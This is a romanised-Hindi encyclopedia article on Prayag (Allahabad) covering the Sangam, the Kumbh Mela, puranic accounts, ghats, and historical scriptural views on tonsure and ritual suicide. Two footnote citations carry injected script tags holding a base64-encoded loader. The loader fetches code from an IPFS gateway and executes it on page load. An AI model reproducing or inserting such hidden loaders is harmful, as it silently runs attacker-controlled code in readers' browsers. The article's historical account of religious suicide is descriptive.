प्रयाग
[[chitr:Sangam-Allahabad.jpg|sangam, ilahabad
Sangam Allahabad|thumb|250px]]
prayag ka adhunik nam ilahabad hai. prayag uttar pradesh ka ek prachin tirthasthan hai jisaka nam ashvamedh adi anek yajn (yajn) adhik hone se p da tha. yah ganga-yamuna ke sangam par sthit hai tatha yahaan ka snan triveni snan (donoan nadiyoan ki alag-alag tatha ek sanyukt dhara- tin dharaoan ke karan athava ganga, yamuna ke sath ant:salila sarasvati ke karan 'triveni') kaha jata hai. prayag ka muslim shasan mean 'ilahabad' nam kar diya gaya parantu 'prayag' nam aj bhi prachalit hai. yahaan uttar pradesh ka uchch nyayalay aur eji karyalay bhi hai. ramayan mean ilahabad, prayag ke nam se varnit hai. aisa mana jata hai ki is sangam par bhoomigat roop se sarasvati nadi bhi akar milati hai. ilahabad ka ullekh bharat ke dharmik granthoan mean bhi milata hai. ved, puran, ramayan aur mahabharat mean is sthan ko prayag kaha gaya hai. ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai, isalie hinduoan ke lie is shahar ka vishesh mahattv hai.
kumbh mela
- REDIRECTsaancha:mukhy
12 sal bad yahaan kumbh ke mele ka ayojan hota hai. kumbh ke mele mean 2 karo d ki bhi d ikattha hone ka anuman kiya jata hai jo sambhavat: vishv mean sabase b da jamav da hai. kumbh mela 2013 ka prayag mean ganga ke kinare poore 144 varsh ke bad mahakuanbh mele ka ayojan ho raha hai. chooanki kuanbh ka mela pratyek 12 varsh mean ata hai isalie pratyek 12 kuanbh poora hone ke uparaant ek mahakuanbh ka ayojan hota hai jo 144 varsh ke bad ata hai aur vo prayag mean hi sanpann hota hai. is mahakuanbh ka ayojan sanh 2013 (vikram sanvat- 2069) mean 14 janavari se 10 march ke bich prayag mean sanpann hone vala hai. aise mean ganga snan ka mahatv aur badh jata hai. hianduoan ke sabhi tirth nadiyoan par base haian. ganga nadi hianduoan ke lie devi aur mata saman hai. isilie hianduoan ke lie ganga snan ka bahut mahatv hai. ganga jivan aur mrityu donoan se judi़ huee hai isake bina hiandoo sanskar adhoore haian. gangajal amrit saman hai.
kuanbh mean ganga snan, poojan ka mahatv
anek parvoan aur utsavoan ka ganga se sidha sanbandh hai makar sankraanti, kuanbh mela aur ganga dashahara ke samay ganga mean snan, poojan, dan evan darshan karana mahatvapoorn mana gaya hai. gangaji ke anek bhakti granth likhe ge haian jinamean shrigangasahasranamastotram evan ganga arati bahut lokapriy haian. ganga poojan evan snan se riddhi-siddhi, yash-samman ki prapti hoti hai tatha samast papoan ka kshay hota hai. manyata hai ki ganga poojan se maangalik dosh se grasit jatakoan ko vishesh labh prapt hota hai. ganga snan karane se ashubh grahoan ka prabhav samapt hota hai. amavasya ke din ganga snan aur pitaroan ke nimit tarpan v piandadan karane se sadagati prapt hoti hai aur yahi shastriy vidhan bhi hai. hiandoo dharm mean aisi manyata hai ki kuanbh sthal ke pavitr jal mean snan karane se manushy ke sare pap-kasht dhul jate haian aur moksh ki prapti hoti hai. gangaji mean snan karane se satvikata aur punyalabh prapt hota hai.[1]
sangam sthal
sangam ka dharmik mahattv bhi bahut hai. ganga-yamuna ke sangam sthal prayag ko puranoan[2] mean 'tirtharaj' ( tirthoan ka raja ) nam se abhihit kiya gaya hai. is sangam ke sambandh mean rrigved[3] mean kaha gaya hai ki jahaan krishna (kale) aur shvet (svachchh) jal vali do saritaoan ka sangam hai vahaan snan karane se manushy svargarohan karata hai. puranokti yah haian ki prajapati ne ahuti ki tin vediyaan banayi thian- kurukshetr, prayag aur gaya. inamean prayag madhyam vedi hai. mana jata hai ki yahaan ganga, yamuna aur sarasvati (patal se ane vali) tin saritaoan ka sangam hua hai. par sarasvati ka koee bahy astitv drishtigat nahian hota. puranoan[4] ke anusar jo prayag ka darshan karake usaka namochcharan karata hai tatha vahaan ki mitti ka apane sharir par alep karata hai vah papamukt ho jata hai. vahaan snan karane vala svarg ko prapt hota hai tatha deh tyag karane vala pun: sansar mean utpann nahian hota. yah keshav ko priy (isht) hai. ise triveni kahate haian.
prayag ki vyutpatti
prayag shabd ki vyutpatti vanaparv[5] yaj dhatu se mani gayi hai. usake anusar sarvatma brahma ne sarvapratham yahaan yajan kiya tha (ahuti di thi) isalie isaka nam prayag p d gaya. puranoan mean prayagamandal, prayag aur veni athava triveni ki vividh vyakhyaean ki gayi hai. matsy tatha padm puran ke anusar prayagamandal paanch yojan ki paridhi mean vistrit hai aur usamean pravisht hone par ek-ek pad par ashvamedh yajn ka puny milata hai. prayag ki sima pratishthan (jhooansi) se vasuki setu tak tatha kanbal aur ashvatar nagoan tak sthit hai. yah tinoan lokoan mean prajapati ki punyasthali ke nam se vikhyat hai. padm puran[6] ke anusar 'veni' kshetr prayag ki sima mean 20 dhanush tak ki doori mean vistrit hai. vahaan prayag, pratishthan (jhooansi) tatha alarkapur (arail) nam ke tin koop haian. puranoan[7] ke anusar vahaan tin agnikunh d bhi haian jinake madhy se hokar ganga bahati hai. vanaparv[8] tatha matsy puran[9] mean bataya gaya hai ki prayag mean nity snan ko 'veni' arthat do nadiyoan (ganga aur yamuna) ka sangam snan kahate haian. vanaparv[10] tatha any puranoan mean ganga aur yamuna ke madhy ki bhoomi ko prithvi ka jaghan ya katipradesh kaha gaya hai. isaka tatpary hai prithvi ka sabase adhik samriddh pradesh athava madhy bhag.
triveni sangam
ganga yamuna aur sarasvati ke trivenisangam ko 'oankar' nam se abhihit kiya gaya hai. 'oankar' ka 'om' parabrahm parameshvar ki or rahasyatmak sanket karata hai. yahi sarvasukhapradayini triveni ka bhi soochak hai. oankar ka akar sarasvati ka pratik, ukar yamuna ka pratik tatha makar ganga ka pratik hai. tinoan kramash: pradyumn, aniruddh tatha sankarshan (hari ke vyooh) ko udbhoot karane vali hai. is prakar in tinoan ka sangam triveni nam se vikhyat hai.[11] narasianhapuran[12] mean vishnu ko prayag mean yogamoorti ke roop mean sthit bataya gaya hai. matsy puran[13] ke anusar rudr dvara ek kalp ke uparant pralay karane par bhi prayag nasht nahian hota. us samay pratishthan ke uttari bhag mean brahma chhadm vesh mean, vishnu veni madhav roop mean tatha shiv vat vriksh ke roop mean avas karate haian aur sabhi dev, gandharv, siddh tatha rrishi papashaktiyoan se prayag mandal ki raksha karate haian. isilie matsy puran[14] mean tirthayatri ko prayag jakar ek mas nivas karane tatha sanyamapoorvak devataoan aur pitaroan ki pooja karake abhisht phal prapt karane ka vidhan hai.
tirtharaj prayag
tirtharaj prayag dharmik evan saanskritik roop se ati-mahatvapoorn hai. isane hamari bharatiy sabhyata ko sanbhal kar rakha hai. yah atmajnan aur jnan prapti ka uttam sthan hai. yah manav prem ki shiksha deta hai. aisa mana jata hai ki brahm dev ne brahmand ke nirman se poorv paryavaran ko shuddh karane ke lie yajn yahian kiya isilie isaka nam prayag p da. prayag ka arth hota hai 'shuddhikaran ka sthan'. british shasan ke dauran prayag mean praantiy karyalay, uchch nyayalay sthapit kiye gaye. un dinoan prayag samajik, bauddhik aur rajanitik gatividhiyoan ka keandr tha. prayag ka svatantrata ki l daee mean bhi vishesh yogadan raha hai. prayag ki bhoomi amaroan ki bhoomi hai. prayag ka atyadhik dharmik mahatv hai aur tirth ke raja ke roop mean jana jata hai, tin pavitr nadiyoan prayag ke sangam par sthit hone ki vajah se isamean chhah ghat haian. do ghat ganga ke tat par, do yamuna ke tat par aur do ghat sangam tat par bane hue haian. sangam ke pashchim mean dhirty-kuliya aur madhu-kuliya sthit haian. isase age niranjan tirth aur audity tirth sthit haian. shishir mochan aur parashuram tirth kile ke niche haian. sarasvati nadi ka sthan ise hi mana jata haian. gaughat ka apana vishesh mahatv hai. bahut se log is sthan par snan karane ke bad gau dan karate haian. isase kuchh age kapil-tirth hai jo ki samrat kapil ke dvara nirmit kiya gaya tha. yahi par indeshvar shiv, tarakeshvar kund, aur tarakeshvar shiv mandir bhi haian. dashamesh ghat ke pashchim mean lakshmi-tirth hai isake dakshin mean mahadevi-tirth hai aur pas mean urvashi-tirth evan urvashi kund haian. aisi manyata hai ki apsara urvashi yahaan snan karati thi. triveni ke us par agnikar hai, someshvar-mahadev aur som tirth bhi yahi haian.[15]
shiromuandan
isi prakar kshaur karm (shiromuandan) bhi prayag mean sampann hone par pap mukti hetu mana gaya hai. bachchoan aur vidhavaoan ke kshaur karm ka vidhan to hai hi, yahaan tak ki sadhava patniyoan ke kshaur karm ka bhi vidhan 'tristhali setu' ke anusar milata hai. vahaan bataya gaya hai ki sadhava striyoan ko apane keshoan ki sundar veni banakar, sabhi prakar ke keshavinyas sambandhi vyanjanoan se sajakar pati ki ajna se (veni ke agr bhag ka) kshaur karm karana chahie. tatpashchat kati huee veni ko aanjali mean lekar usake barabar svarn ya chaandi ki veni bhi lekar ju de hath se sangam sthal par baha dena chahie aur kahana chahie ki sabhi pap nasht ho jayean aur hamara saubhagy uttarottar vriddhi par rahe. nari ke lie ek matr prayag mean hi kshaur karm karane ka vidhan hai.
prayag mean atmahatya karane ka samany siddhant ke anusar nishedh hai. kuchh apavadoan ke lie hi isako protsahan diya jata haian brahman ke hatyare, surapan karane vale, brahman ka dhan churane vale, asadhy rogi, sharir ki shuddhi mean asamarth, vriddhi jo rogi bhi ho, rog se mukt n ho saka ho, ye sabhi prayag mean atmaghat kar sakate haian.[16] grihasth jo sansar ke jivan se mukt hona chahata ho vah bhi triveni sangam par jakar vat vriksh ke niche atmaghat kar sakata hai. patni ke lie pati ke sath sahamaran ya anumaran ka vidhan hai, par garbhini ke lie yah vidhan nahian hai.[17] prayag mean atmaghat karane vale ko puranoan ke anusar moksh ki prapti hoti hai.[18] ke anusar yogi ganga-yamuna ke sangam par atmahatya karake svarg prapt karata hai aur pun: narak nahian dekh sakata. prayag mean vaishyoan aur shoodroan ke lie atmahatya vivashata ki sthiti mean yada-kada hi many thi. kintu brahmanoan aur kshatriyoan ke dvara atm-agnyahuti diya jana ek vishesh vidhan ke anusar uchit tha. at: jo aisa karana chahean to grahan ke din yah kary sampann karate the, ya kisi vyakti ko mooly dekar doobane ke lie kray kar lete the.[19] samany dharana yah thi ki is dharmik atmaghat se manushy janm aur maran ke bandhan se mukti pa jata hai aur use sthayi amaratv (moksh) athava nirvan ki prapti hoti hai. is dharana ka vistar yahaan tak hua ki ahiansavadi jain dharmavalambi bhi is dharmik atmaghat ko protsahan dene lage. kuchh puranoan ke anusar tirthayatra arambh karake raste mean hi vyakti yadi vyakti prayag ka nam smaran kar le to brahmalok ko pahuanch jata hai aur vahaan sannyasiyoan, siddhoan tatha muniyoan ke bich rahata hai.
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tika tippani aur sandarbh
- REDIRECT saancha:tippanisoochi
- ↑ ganga snan parv ka mahatv (hiandi) (ech.ti.em.el) veb duniya hiandi. abhigaman tithi: 8 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ matsy 109.15; skand, kashi0 7.45; padm 6.23.27-34 tatha any
- ↑ rrigved khil sookt (10.75
- ↑ matsy (104.12), koorm (1.36.27) tatha agni (111.6-7) adi
- ↑ vanaparv (87.18-19
- ↑ padm puran (1.43-26
- ↑ matsy (110.4) aur agni (111.12
- ↑ vanaparv (85.81 aur 85
- ↑ matsy0 (104.16-17
- ↑ vanaparv (85.75
- ↑ tristhalisetu, prishth 8
- ↑ narasianhapuran(64.17
- ↑ matsy puran(111.4-10
- ↑ matsy puran(10.4.18
- ↑ tirtharaj prayag (hiandi) (ech.ti.em.el) kumbh mela (adhikarik vebasait). abhigaman tithi: 8 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ adipuran aur atrismriti
- ↑ naradiy, poorvaddh, 7.52-53
- ↑ koorm0 (1.36.16-39
- ↑ alabarooni ka bharat, bhag 2, pri0 170
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sanbandhit lekh